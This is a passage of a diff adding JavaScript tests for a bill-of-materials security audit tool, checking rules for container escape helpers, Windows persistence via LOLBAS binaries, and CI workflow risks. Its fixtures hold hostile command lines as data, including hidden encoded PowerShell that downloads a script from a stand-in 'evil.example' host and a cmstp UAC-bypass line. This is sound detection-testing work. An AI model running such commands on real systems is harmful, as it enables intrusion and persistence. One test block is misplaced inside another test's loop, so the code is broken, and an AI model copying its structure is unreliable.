+ type: "file",
3106
+ name: "deepce",
3107
+ version: "",
3108
+ description: "",
3109
+ purl: "pkg:generic/deepce",
3110
+ "bom-ref": "pkg:generic/deepce",
3111
+ properties: [
3112
+ { name: "SrcFile", value: "/usr/local/bin/deepce" },
3113
+ { name: "cdx:container:matched", value: "true" },
3114
+ { name: "cdx:container:name", value: "deepce" },
3115
+ { name: "cdx:container:offenseTools", value: "deepce" },
3116
+ {
3117
+ name: "cdx:container:riskTags",
3118
+ value: "container-escape,credential-access,offensive-toolkit",
3119
+ },
3120
+ {
3121
+ name: "cdx:container:attackTechniques",
3122
+ value: "T1552.007,T1611,T1613",
3123
+ },
3124
+ ],
3125
+ },
3126
+ ]);
3127
+
3128
+ const findings = await evaluateRule(rule, bom);
3129
+ assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
3130
+ assert.strictEqual(findings[0].severity, "high");
3131
+ });
3132
+
3133
+ it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
3134
+ const rules = await loadRules(RULES_DIR);
3135
+ const rule = rules.find((r) => r.id === "CTR-007");
3136
+ assert.ok(rule, "CTR-007 rule should exist");
3137
+
3138
+ const bom = makeBom([
3139
+ {
3140
+ type: "file",
3141
+ name: "nsenter",
3142
+ version: "",
3143
+ description: "",
3144
+ purl: "pkg:generic/nsenter",
3145
+ "bom-ref": "pkg:generic/nsenter",
3146
+ properties: [
3147
+ { name: "SrcFile", value: "/usr/bin/nsenter" },
3148
+ { name: "cdx:container:matched", value: "true" },
3149
+ { name: "cdx:container:name", value: "nsenter" },
3150
+ { name: "cdx:container:offenseTools", value: "cdk,deepce" },
3151
+ {
3152
+ name: "cdx:container:riskTags",
3153
+ value: "container-escape,namespace-escape",
3154
+ },
3155
+ {
3156
+ name: "cdx:container:seccompBlockedSyscalls",
3157
+ value: "ptrace,setns,unshare",
3158
+ },
3159
+ { name: "cdx:container:seccompProfile", value: "docker-default" },
3160
+ ],
3161
+ },
3162
+ ]);
3163
+
3164
+ const findings = await evaluateRule(rule, bom);
3165
+ assert.ok(
3166
+ findings.length > 0,
3167
+ "Should detect seccomp-sensitive escape helper",
3168
+ );
3169
+ assert.strictEqual(findings[0].severity, "medium");
3170
+ });
3171
+
3172
+ it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
3173
+ const rules = await loadRules(RULES_DIR);
3174
+ const rule = rules.find((r) => r.id === "OBOM-LNX-006");
3175
+ assert.ok(rule, "OBOM-LNX-006 rule should exist");
3176
+
3177
+ const bom = makeBom([
3178
+ {
3179
+ type: "application",
3180
+ name: "cockpit-ws",
3181
+ version: "9090",
3182
+ description: "",
3183
+ purl: "pkg:swid/cockpit-ws@9090",
3184
+ "bom-ref": "pkg:swid/cockpit-ws@9090",
3185
+ properties: [
3186
+ { name: "cdx:osquery:category", value: "privileged_listening_ports" },
3187
+ { name: "account", value: "root" },
3188
+ { name: "address", value: "0.0.0.0" },
3189
+ { name: "port", value: "9090" },
3190
+ { name: "path", value: "/usr/libexec/cockpit-ws" },
3191
+ { name: "service_unit", value: "cockpit.socket" },
3192
+ { name: "package_source_hint", value: "system-package-path" },
3193
+ ],
3194
+ },
3195
+ ]);
3196
+
3197
+ const findings = await evaluateRule(rule, bom);
3198
+ assert.ok(findings.length > 0, "Should detect privileged listener risk");
3199
+ assert.strictEqual(findings[0].severity, "medium");
3200
+ });
3201
+
3202
+ it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
3203
+ const rules = await loadRules(RULES_DIR);
3204
+ const rule = rules.find((r) => r.id === "OBOM-LNX-008");
3205
+ assert.ok(rule, "OBOM-LNX-008 rule should exist");
3206
+
3207
+ const bom = makeBom([
3208
+ {
3209
+ type: "application",
3210
+ name: "sudo",
3211
+ version: "4242",
3212
+ description: "",
3213
+ purl: "pkg:swid/sudo@4242",
3214
+ "bom-ref": "pkg:swid/sudo@4242",
3215
+ properties: [
3216
+ { name: "cdx:osquery:category", value: "sudo_executions" },
3217
+ { name: "auid", value: "1000" },
3218
+ { name: "euid", value: "0" },
3219
+ { name: "login_user", value: "analyst" },
3220
+ { name: "effective_user", value: "root" },
3221
+ { name: "path", value: "/usr/bin/sudo" },
3222
+ {
3223
+ name: "cmdline",
3224
+ value: "sudo pkcon refresh force",
3225
+ },
3226
+ { name: "parent_cmdline", value: "/bin/bash" },
3227
+ { name: "time", value: "1714212000" },
3228
+ ],
3229
+ },
3230
+ ]);
3231
+
3232
+ const findings = await evaluateRule(rule, bom);
3233
+ assert.ok(
3234
+ findings.length > 0,
3235
+ "Should detect interactive privileged package tooling",
3236
+ );
3237
+ assert.strictEqual(findings[0].severity, "high");
3238
+ });
3239
+
3240
+ it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
3241
+ const rules = await loadRules(RULES_DIR);
3242
+ const rule = rules.find((r) => r.id === "OBOM-LNX-009");
3243
+ assert.ok(rule, "OBOM-LNX-009 rule should exist");
3244
+
3245
+ const bom = makeBom([
3246
+ {
3247
+ type: "application",
3248
+ name: "packagekit-helper",
3249
+ version: "2121",
3250
+ description: "",
3251
+ purl: "pkg:swid/packagekit-helper@2121",
3252
+ "bom-ref": "pkg:swid/packagekit-helper@2121",
3253
+ properties: [
3254
+ { name: "cdx:osquery:category", value: "privilege_transitions" },
3255
+ { name: "auid", value: "1000" },
3256
+ { name: "uid", value: "1000" },
3257
+ { name: "euid", value: "0" },
3258
+ { name: "gid", value: "1000" },
3259
+ { name: "egid", value: "0" },
3260
+ { name: "login_user", value: "analyst" },
3261
+ { name: "path", value: "/usr/libexec/packagekit-direct" },
3262
+ {
3263
+ name: "cmdline",
3264
+ value: "/usr/libexec/packagekit-direct --repair",
3265
+ },
3266
+ { name: "parent_cmdline", value: "/bin/bash" },
3267
+ { name: "package_source_hint", value: "unclassified-path" },
3268
+ ],
3269
+ },
3270
+ ]);
3271
+
3272
+ const findings = await evaluateRule(rule, bom);
3273
+ assert.ok(
3274
+ findings.length > 0,
3275
+ "Should detect unexpected privilege transition",
3276
+ );
3277
+ assert.strictEqual(findings[0].severity, "high");
3278
+ });
3279
+
3280
+ it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
3281
+ const rules = await loadRules(RULES_DIR);
3282
+ const rule = rules.find((r) => r.id === "OBOM-WIN-004");
3283
+ assert.ok(rule, "OBOM-WIN-004 rule should exist");
3284
+
3285
+ const bom = makeBom([
3286
+ {
3287
+ type: "data",
3288
+ name: "WindowsUpdateTask",
3289
+ version: "",
3290
+ description: "",
3291
+ purl: "pkg:swid/windows-task",
3292
+ "bom-ref": "pkg:swid/windows-task",
3293
+ properties: [
3294
+ { name: "cdx:osquery:category", value: "scheduled_tasks" },
3295
+ { name: "enabled", value: "1" },
3296
+ { name: "hidden", value: "1" },
3297
+ { name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
3298
+ {
3299
+ name: "action",
3300
+ value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
3301
+ },
3302
+ ],
3303
+ },
3304
+ ]);
3305
+
3306
+ const findings = await evaluateRule(rule, bom);
3307
+ assert.ok(findings.length > 0, "Should detect suspicious hidden task");
3308
+ assert.strictEqual(findings[0].severity, "high");
3309
+ });
3310
+
3311
+ it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
3312
+ const rules = await loadRules(RULES_DIR);
3313
+ const rule = rules.find((r) => r.id === "OBOM-WIN-005");
3314
+ assert.ok(rule, "OBOM-WIN-005 rule should exist");
3315
+
3316
+ const bom = makeBom([
3317
+ {
3318
+ type: "data",
3319
+ name: "EvilAutoStartService",
3320
+ version: "",
3321
+ description: "",
3322
+ purl: "pkg:swid/windows-service-evil",
3323
+ "bom-ref": "pkg:swid/windows-service-evil",
3324
+ properties: [
3325
+ { name: "cdx:osquery:category", value: "services_snapshot" },
3326
+ { name: "start_type", value: "AUTO_START" },
3327
+ {
3328
+ name: "path",
3329
+ value:
3330
+ "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
3331
+ },
3332
+ ],
3333
+ },
3334
+ ]);
3335
+
3336
+ const findings = await evaluateRule(rule, bom);
3337
+ assert.ok(findings.length > 0, "Should detect auto-start service risk");
3338
+ assert.strictEqual(findings[0].severity, "critical");
3339
+ });
3340
+
3341
+ it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
3342
+ const rules = await loadRules(RULES_DIR);
3343
+ const rule = rules.find((r) => r.id === "OBOM-WIN-006");
3344
+ assert.ok(rule, "OBOM-WIN-006 rule should exist");
3345
+
3346
+ const bom = makeBom([
3347
+ {
3348
+ type: "data",
3349
+ name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
3350
+ version: "",
3351
+ description: "powershell.exe -nop -w hidden -enc AAAA",
3352
+ purl: "pkg:swid/windows-run-key-lolbas",
3353
+ "bom-ref": "pkg:swid/windows-run-key-lolbas",
3354
+ properties: [
3355
+ { name: "cdx:osquery:category", value: "windows_run_keys" },
3356
+ { name: "cdx:lolbas:matched", value: "true" },
3357
+ { name: "cdx:lolbas:names", value: "powershell.exe" },
3358
+ {
3359
+ name: "cdx:lolbas:functions",
3360
+ value: "command,download,script-execution,shell,upload",
3361
+ },
3362
+ { name: "cdx:lolbas:matchFields", value: "description" },
3363
+ ],
3364
+ },
3365
+ ]);
3366
+
3367
+ const findings = await evaluateRule(rule, bom);
3368
+ assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
3369
+ assert.strictEqual(findings[0].severity, "high");
3370
+ });
3371
+
3372
+ it("should flag scheduled tasks that invoke LOLBAS helpers even when they live under managed Windows namespaces (OBOM-WIN-006)", async () => {
3373
+ const rules = await loadRules(RULES_DIR);
3374
+ const rule = rules.find((r) => r.id === "OBOM-WIN-006");
3375
+ assert.ok(rule, "OBOM-WIN-006 rule should exist");
3376
+ const row = {
3377
+ action:
3378
+ "%windir%\\system32\\rundll32.exe Windows.Storage.ApplicationData.dll,CleanupTemporaryState",
3379
+ enabled: "0",
3380
+ hidden: "0",
3381
+ path: "\\Microsoft\\Windows\\applicationdata\\CleanupTemporaryState",
3382
+ };
3383
+
3384
+ const bom = makeBom([
3385
+ {
3386
+ type: "data",
3387
+ name: "CleanupTemporaryState",
3388
+ version: "",
3389
+ description: "",
3390
+ "bom-ref": "osquery:scheduled_tasks:data:CleanupTemporaryState@unknown",
3391
+ properties: [
3392
+ { name: "cdx:osquery:category", value: "scheduled_tasks" },
3393
+ ...createLolbasProperties("scheduled_tasks", row),
3394
+ { name: "path", value: row.path },
3395
+ { name: "action", value: row.action },
3396
+ { name: "enabled", value: row.enabled },
3397
+ { name: "hidden", value: row.hidden },
3398
+ ],
3399
+ },
3400
+ ]);
3401
+
3402
+ const findings = await evaluateRule(rule, bom);
3403
+ assert.strictEqual(findings.length, 1);
3404
+ assert.match(findings[0].message, /CleanupTemporaryState|rundll32\.exe/);
3405
+ });
3406
+
3407
+ it("should ignore Windows services whose descriptions merely mention PowerShell or cmd tooling (OBOM-WIN-006)", async () => {
3408
+ const rules = await loadRules(RULES_DIR);
3409
+ const rule = rules.find((r) => r.id === "OBOM-WIN-006");
3410
+ assert.ok(rule, "OBOM-WIN-006 rule should exist");
3411
+ const row = {
3412
+ description:
3413
+ "Windows Remote Management can be configured with winrm.cmd and queried from PowerShell.",
3414
+ display_name: "Windows Remote Management",
3415
+ module_path: "C:\\Windows\\System32\\WsmSvc.dll",
3416
+ path: "C:\\Windows\\System32\\svchost.exe -k NetworkService -p",
3417
+ };
3418
+
3419
+ const bom = makeBom([
3420
+ {
3421
+ type: "data",
3422
+ name: "WinRM",
3423
+ version: "4012",
3424
+ description: row.description,
3425
+ "bom-ref": "osquery:services_snapshot:data:WinRM@4012",
3426
+ properties: [
3427
+ { name: "cdx:osquery:category", value: "services_snapshot" },
3428
+ ...createLolbasProperties("services_snapshot", row),
3429
+ { name: "path", value: row.path },
3430
+ { name: "module_path", value: row.module_path },
3431
+ { name: "start_type", value: "AUTO_START" },
3432
+ ],
3433
+ },
3434
+ ]);
3435
+
3436
+ const findings = await evaluateRule(rule, bom);
3437
+ assert.strictEqual(findings.length, 0);
3438
+ });
3439
+
3440
+ it("should keep suspicious Windows services that launch LOLBAS from user-controlled paths (OBOM-WIN-006)", async () => {
3441
+ const rules = await loadRules(RULES_DIR);
3442
+ const rule = rules.find((r) => r.id === "OBOM-WIN-006");
3443
+ assert.ok(rule, "OBOM-WIN-006 rule should exist");
3444
+ const row = {
3445
+ path: "C:\\Users\\Public\\evil\\powershell.exe -enc AAAA",
3446
+ };
3447
+
3448
+ const bom = makeBom([
3449
+ {
3450
+ type: "data",
3451
+ name: "EvilService",
3452
+ version: "1234",
3453
+ description: "",
3454
+ "bom-ref": "osquery:services_snapshot:data:EvilService@1234",
3455
+ properties: [
3456
+ { name: "cdx:osquery:category", value: "services_snapshot" },
3457
+ ...createLolbasProperties("services_snapshot", row),
3458
+ { name: "path", value: row.path },
3459
+ { name: "start_type", value: "AUTO_START" },
3460
+ ],
3461
+ },
3462
+ ]);
3463
+
3464
+ const findings = await evaluateRule(rule, bom);
3465
+ assert.strictEqual(findings.length, 1);
3466
+ assert.match(findings[0].message, /EvilService|powershell\.exe/);
3467
+ });
3468
+
3469
+ it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
3470
+ const rules = await loadRules(RULES_DIR);
3471
+ const rule = rules.find((r) => r.id === "OBOM-WIN-007");
3472
+ assert.ok(rule, "OBOM-WIN-007 rule should exist");
3473
+
3474
+ const bom = makeBom([
3475
+ {
3476
+ type: "data",
3477
+ name: "CommandLineEventConsumerBad",
3478
+ version: "",
3479
+ description: "",
3480
+ purl: "pkg:swid/windows-wmi-lolbas",
3481
+ "bom-ref": "pkg:swid/windows-wmi-lolbas",
3482
+ properties: [
3483
+ { name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
3484
+ { name: "cdx:lolbas:matched", value: "true" },
3485
+ { name: "cdx:lolbas:names", value: "regsvr32.exe" },
3486
+ {
3487
+ name: "cdx:lolbas:functions",
3488
+ value: "library-load,proxy-execution,script-execution",
3489
+ },
3490
+ {
3491
+ name: "command_line_template",
3492
+ value: "regsvr32.exe /s scrobj.dll",
3493
+ },
3494
+ ],
3495
+ },
3496
+ ]);
3497
+
3498
+ const findings = await evaluateRule(rule, bom);
3499
+ assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
3500
+ assert.strictEqual(findings[0].severity, "critical");
3501
+ });
3502
+
3503
+ it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
3504
+ const rules = await loadRules(RULES_DIR);
3505
+ const rule = rules.find((r) => r.id === "OBOM-WIN-008");
3506
+ assert.ok(rule, "OBOM-WIN-008 rule should exist");
3507
+
3508
+ const bom = makeBom([
3509
+ {
3510
+ type: "data",
3511
+ name: "SuspiciousPowerShell",
3512
+ version: "",
3513
+ description: "",
3514
+ purl: "pkg:swid/windows-process-lolbas",
3515
+ "bom-ref": "pkg:swid/windows-process-lolbas",
3516
+ properties: [
3517
+ { name: "cdx:osquery:category", value: "processes" },
3518
+ { name: "cdx:lolbas:matched", value: "true" },
3519
+ { name: "cdx:lolbas:names", value: "powershell.exe" },
3520
+ {
3521
+ name: "cdx:lolbas:functions",
3522
+ value: "command,download,script-execution,shell,upload",
3523
+ },
3524
+ {
3525
+ name: "cmdline",
3526
+ value:
3527
+ "powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
3528
+ },
3529
+ ],
3530
+ },
3531
+ ]);
3532
+
3533
+ const findings = await evaluateRule(rule, bom);
3534
+ assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
3535
+ assert.strictEqual(findings[0].severity, "high");
3536
+ });
3537
+
3538
+ it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
3539
+ const rules = await loadRules(RULES_DIR);
3540
+ const rule = rules.find((r) => r.id === "OBOM-WIN-009");
3541
+ assert.ok(rule, "OBOM-WIN-009 rule should exist");
3542
+
3543
+ const bom = makeBom([
3544
+ {
3545
+ type: "application",
3546
+ name: "powershell.exe",
3547
+ version: "9001",
3548
+ description: "",
3549
+ purl: "pkg:swid/powershell.exe@9001",
3550
+ "bom-ref": "pkg:swid/powershell.exe@9001",
3551
+ properties: [
3552
+ { name: "cdx:osquery:category", value: "listening_ports" },
3553
+ { name: "cdx:lolbas:matched", value: "true" },
3554
+ { name: "cdx:lolbas:names", value: "powershell.exe" },
3555
+ {
3556
+ name: "cdx:lolbas:functions",
3557
+ value: "command,download,script-execution,shell,upload",
3558
+ },
3559
+ { name: "address", value: "0.0.0.0" },
3560
+ { name: "port", value: "9001" },
3561
+ {
3562
+ name: "cmdline",
3563
+ value: "powershell.exe -nop -w hidden -enc AAAA",
3564
+ },
3565
+ ],
3566
+ },
3567
+ ]);
3568
+
3569
+ const findings = await evaluateRule(rule, bom);
3570
+ assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
3571
+ assert.strictEqual(findings[0].severity, "critical");
3572
+ });
3573
+
3574
+ it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
3575
+ const rules = await loadRules(RULES_DIR);
3576
+ const rule = rules.find((r) => r.id === "OBOM-WIN-010");
3577
+ assert.ok(rule, "OBOM-WIN-010 rule should exist");
3578
+
3579
+ const bom = makeBom([
3580
+ {
3581
+ type: "data",
3582
+ name: "BadTask",
3583
+ version: "",
3584
+ description: "",
3585
+ purl: "pkg:swid/windows-task-uac-lolbas",
3586
+ "bom-ref": "pkg:swid/windows-task-uac-lolbas",
3587
+ properties: [
3588
+ { name: "cdx:osquery:category", value: "scheduled_tasks" },
3589
+ { name: "cdx:lolbas:matched", value: "true" },
3590
+ { name: "cdx:lolbas:names", value: "cmstp.exe" },
3591
+ { name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
3592
+ { name: "action", value: "cmstp.exe /s payload.inf" },
3593
+ ],
3594
+ },
3595
+ ]);
3596
+
3597
+ const findings = await evaluateRule(rule, bom);
3598
+ assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
3599
+ assert.strictEqual(findings[0].severity, "critical");
3600
+ });
3601
+
3602
+ it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
3603
+ const rules = await loadRules(RULES_DIR);
3604
+ const rule = rules.find((r) => r.id === "OBOM-MAC-004");
3605
+ assert.ok(rule, "OBOM-MAC-004 rule should exist");
3606
+
3607
+ const bom = makeBom([
3608
+ {
3609
+ type: "data",
3610
+ name: "com.apple.some-security-service",
3611
+ version: "",
3612
+ description: "",
3613
+ purl: "pkg:swid/launchd-override",
3614
+ "bom-ref": "pkg:swid/launchd-override",
3615
+ properties: [
3616
+ { name: "cdx:osquery:category", value: "launchd_overrides" },
3617
+ { name: "label", value: "com.apple.some-security-service" },
3618
+ { name: "key", value: "Disabled" },
3619
+ { name: "value", value: "1" },
3620
+ { name: "uid", value: "0" },
3621
+ ],
3622
+ },
3623
+ ]);
3624
+
3625
+ const findings = await evaluateRule(rule, bom);
3626
+ assert.ok(
3627
+ findings.length > 0,
3628
+ "Should detect disabled Apple launchd label",
3629
+ );
3630
+ assert.strictEqual(findings[0].severity, "medium");
3631
+ });
3632
+ });
3633
+
3634
+ describe("evaluateRules", () => {
3635
+ it("should sort findings by severity (high before medium before low)", async () => {
3636
+ const rules = await loadRules(RULES_DIR);
3637
+ const bom = makeBom([
3638
+ makeComponent("actions/checkout", "v3", [
3639
+ ["cdx:github:action:isShaPinned", "false"],
3640
+ ["cdx:github:workflow:hasWritePermissions", "true"],
3641
+ ["cdx:github:action:uses", "actions/checkout@v3"],
3642
+ ["cdx:github:action:versionPinningType", "tag"],
3643
+ ]),
3644
+ makeComponent("deprecated-go-mod", "1.0.0", [
3645
+ ["cdx:go:deprecated", "use other-module instead"],
3646
+ ]),
3647
+ ]);
3648
+
3649
+ const findings = await evaluateRules(rules, bom);
3650
+ if (findings.length >= 2) {
3651
+ const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
3652
+ for (let i = 1; i < findings.length; i++) {
3653
+ it("should detect weakened macOS Gatekeeper posture (OBOM-MAC-005)", async () => {
3654
+ const rules = await loadRules(RULES_DIR);
3655
+ const rule = rules.find((r) => r.id === "OBOM-MAC-005");
3656
+ assert.ok(rule, "OBOM-MAC-005 rule should exist");
3657
+
3658
+ const bom = makeBom([
3659
+ {
3660
+ type: "data",
3661
+ name: "gatekeeper",
3662
+ version: "",
3663
+ description: "94",
3664
+ purl: "pkg:swid/gatekeeper",
3665
+ "bom-ref": "pkg:swid/gatekeeper",
3666
+ properties: [
3667
+ { name: "cdx:osquery:category", value: "gatekeeper" },
3668
+ { name: "assessments_enabled", value: "0" },
3669
+ { name: "dev_id_enabled", value: "1" },
3670
+ ],
3671
+ },
3672
+ ]);
3673
+
3674
+ const findings = await evaluateRule(rule, bom);
3675
+ assert.ok(findings.length > 0, "Should detect weakened Gatekeeper");
3676
+ assert.strictEqual(findings[0].severity, "high");
3677
+ });
3678
+ const prev = severityOrder[findings[i - 1].severity] ?? 4;
3679
+ const curr = severityOrder[findings[i].severity] ?? 4;
3680
+ assert.ok(
3681
+ prev <= curr,
3682
+ `Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
3683
+ );
3684
+ }
3685
+ }
3686
+ });
3687
+ });
3688
+
3689
+ describe("auditBom", () => {
3690
+ it("should run audit and return findings", async () => {
3691
+ const bom = makeBom([
3692
+ makeComponent("actions/setup-node", "v3", [
3693
+ ["cdx:github:action:isShaPinned", "false"],
3694
+ ["cdx:github:workflow:hasWritePermissions", "true"],
3695
+ ["cdx:github:action:uses", "actions/setup-node@v3"],
3696
+ ["cdx:github:action:versionPinningType", "tag"],
3697
+ ]),
3698
+ ]);
3699
+
3700
+ const findings = await auditBom(bom, {});
3701
+ assert.ok(findings.length > 0, "Should find at least one issue");
3702
+ });
3703
+
3704
+ it("should return empty array for null bom", async () => {
3705
+ const findings = await auditBom(null, {});
3706
+ assert.deepStrictEqual(findings, []);
3707
+ });
3708
+
3709
+ it("should filter by category", async () => {
3710
+ const bom = makeBom([
3711
+ makeComponent("actions/setup-node", "v3", [
3712
+ ["cdx:github:action:isShaPinned", "false"],
3713
+ ["cdx:github:workflow:hasWritePermissions", "true"],
3714
+ ["cdx:github:action:uses", "actions/setup-node@v3"],
3715
+ ["cdx:github:action:versionPinningType", "tag"],
3716
+ ]),
3717
+ makeComponent("sketchy-pkg", "1.0.0", [
3718
+ ["cdx:npm:hasInstallScript", "true"],
3719
+ ["cdx:npm:isRegistryDependency", "false"],
3720
+ ]),
3721
+ ]);
3722
+
3723
+ const ciOnly = await auditBom(bom, {
3724
+ bomAuditCategories: "ci-permission",
3725
+ });
3726
+ for (const f of ciOnly) {
3727
+ assert.strictEqual(f.category, "ci-permission");
3728
+ }
3729
+ });
3730
+
3731
+ it("expands the ai-inventory category alias", async () => {
3732
+ const bom = makeBom(
3733
+ [],
3734
+ [],
3735
+ [
3736
+ {
3737
+ type: "application",
3738
+ name: "agent-guide",
3739
+ version: "latest",
3740
+ "bom-ref": "file:/repo/AGENTS.md",
3741
+ properties: [
3742
+ { name: "SrcFile", value: "/repo/AGENTS.md" },
3743
+ { name: "cdx:agent:inventorySource", value: "agent-file" },
3744
+ { name: "cdx:file:kind", value: "agent-instructions" },
3745
+ {
3746
+ name: "cdx:agent:hasNonOfficialMcpReference",
3747
+ value: "true",
3748
+ },
3749
+ { name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
3750
+ ],
3751
+ },
3752
+ ],
3753
+ [
3754
+ {
3755
+ "bom-ref": "urn:service:mcp:demo:1",
3756
+ group: "mcp",
3757
+ name: "demo-server",
3758
+ authenticated: false,
3759
+ endpoints: ["https://mcp.example.com/mcp"],
3760
+ properties: [
3761
+ { name: "cdx:mcp:transport", value: "streamable-http" },
3762
+ { name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
3763
+ { name: "cdx:mcp:inventorySource", value: "agent-file" },
3764
+ { name: "cdx:mcp:toolCount", value: "1" },
3765
+ { name: "cdx:mcp:officialSdk", value: "false" },
3766
+ ],
3767
+ },
3768
+ ],
3769
+ );
3770
+
3771
+ const findings = await auditBom(bom, {
3772
+ bomAuditCategories: "ai-inventory",
3773
+ });
3774
+ assert.ok(findings.some((finding) => finding.category === "ai-agent"));
3775
+ assert.ok(findings.some((finding) => finding.category === "mcp-server"));
3776
+ });
3777
+
3778
+ it("rejects unknown audit categories with valid choices", async () => {
3779
+ await assert.rejects(
3780
+ auditBom(makeBom([]), {
3781
+ bomAuditCategories: "unknown-category",
3782
+ }),
3783
+ /Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
3784
+ );
3785
+ });
3786
+
3787
+ it("should filter by minimum severity", async () => {
3788
+ const bom = makeBom([
3789
+ makeComponent("actions/setup-node", "v3", [
3790
+ ["cdx:github:action:isShaPinned", "false"],
3791
+ ["cdx:github:workflow:hasWritePermissions", "true"],
3792
+ ["cdx:github:action:uses", "actions/setup-node@v3"],
3793
+ ["cdx:github:action:versionPinningType", "tag"],
3794
+ ]),
3795
+ ]);
3796
+
3797
+ const highOnly = await auditBom(bom, {
3798
+ bomAuditMinSeverity: "high",
3799
+ });
3800
+ for (const f of highOnly) {
3801
+ assert.strictEqual(f.severity, "high");
3802
+ }
3803
+ });
3804
+
3805
+ it("reports active dry-run support counts for package-integrity rules", async () => {
3806
+ const summary = await getBomAuditDryRunSupportSummary({
3807
+ bomAuditCategories: "package-integrity",
3808
+ });
3809
+ assert.deepStrictEqual(summary, {
3810
+ fullCount: 10,
3811
+ noCount: 3,
3812
+ partialCount: 1,
3813
+ totalRules: 14,
3814
+ });
3815
+ assert.match(
3816
+ formatDryRunSupportSummary(summary),
3817
+ /3 rule\(s\) do not support dry-run, 1 rule\(s\) have partial dry-run support, 14 active rule\(s\) total/,
3818
+ );
3819
+ });
3820
+
3821
+ it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
3822
+ const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
3823
+
3824
+ const findings = await auditBom(bom, {
3825
+ bomAuditCategories: "ci-permission",
3826
+ });
3827
+ assert.ok(
3828
+ !findings.some((finding) => finding.ruleId === "CI-006"),
3829
+ "safe PR cache workflow should not trigger CI-006",
3830
+ );
3831
+ });
3832
+
3833
+ it("flags CI-006 for a risky PR cache workflow", async () => {
3834
+ const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
3835
+
3836
+ const findings = await auditBom(bom, {
3837
+ bomAuditCategories: "ci-permission",
3838
+ });
3839
+ assert.ok(
3840
+ findings.some((finding) => finding.ruleId === "CI-006"),
3841
+ "risky PR cache workflow should trigger CI-006",
3842
+ );
3843
+ });
3844
+
3845
+ it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
3846
+ const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
3847
+
3848
+ const findings = await auditBom(bom, {
3849
+ bomAuditCategories: "ci-permission",
3850
+ });
3851
+ assert.ok(
3852
+ !findings.some((finding) =>
3853
+ ["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
3854
+ ),
3855
+ "safe push workflow should not trigger high-risk-trigger rules",
3856
+ );
3857
+ });
3858
+
3859
+ it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
3860
+ const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
3861
+
3862
+ const workflow = bom.formulation[0].workflows[0];
3863
+ const workflowProps = workflow.properties || [];
3864
+ assert.ok(
3865
+ workflowProps.some(
3866
+ (prop) =>
3867
+ prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
3868
+ prop.value === "true",
3869
+ ),
3870
+ );
3871
+ assert.ok(
3872
+ workflowProps.some(
3873
+ (prop) =>
3874
+ prop.name === "cdx:github:workflow:workflowCallInputs" &&
3875
+ prop.value === "target",
3876
+ ),
3877
+ );
3878
+
3879
+ const findings = await auditBom(bom, {
3880
+ bomAuditCategories: "ci-permission",
3881
+ });
3882
+ assert.ok(
3883
+ !findings.some((finding) => finding.ruleId === "CI-011"),
3884
+ "producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
3885
+ );
3886
+ assert.ok(
3887
+ !findings.some((finding) =>
3888
+ ["CI-016", "CI-017"].includes(finding.ruleId),
3889
+ ),
3890
+ "safe workflow_call producer should not trigger privileged producer rules",
3891
+ );
3892
+ });
3893
+
3894
+ it("flags risky workflow_call producers with privileged producer rules", async () => {
3895
+ const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
3896
+
3897
+ const findings = await auditBom(bom, {
3898
+ bomAuditCategories: "ci-permission",
3899
+ });
3900
+ assert.ok(
3901
+ findings.some((finding) => finding.ruleId === "CI-016"),
3902
+ "risky workflow_call producer should trigger CI-016",
3903
+ );
3904
+ assert.ok(
3905
+ findings.some((finding) => finding.ruleId === "CI-017"),
3906
+ "risky workflow_call producer should trigger CI-017",
3907
+ );
3908
+ });
3909
+
3910
+ it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
3911
+ const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
3912
+
3913
+ const findings = await auditBom(bom, {
3914
+ bomAuditCategories: "ci-permission",
3915
+ });
3916
+ assert.ok(
3917
+ findings.some((finding) => finding.ruleId === "CI-018"),
3918
+ "fork-reachable dispatch chain should trigger CI-018",
3919
+ );
3920
+ assert.ok(
3921
+ findings.some((finding) => finding.ruleId === "CI-019"),
3922
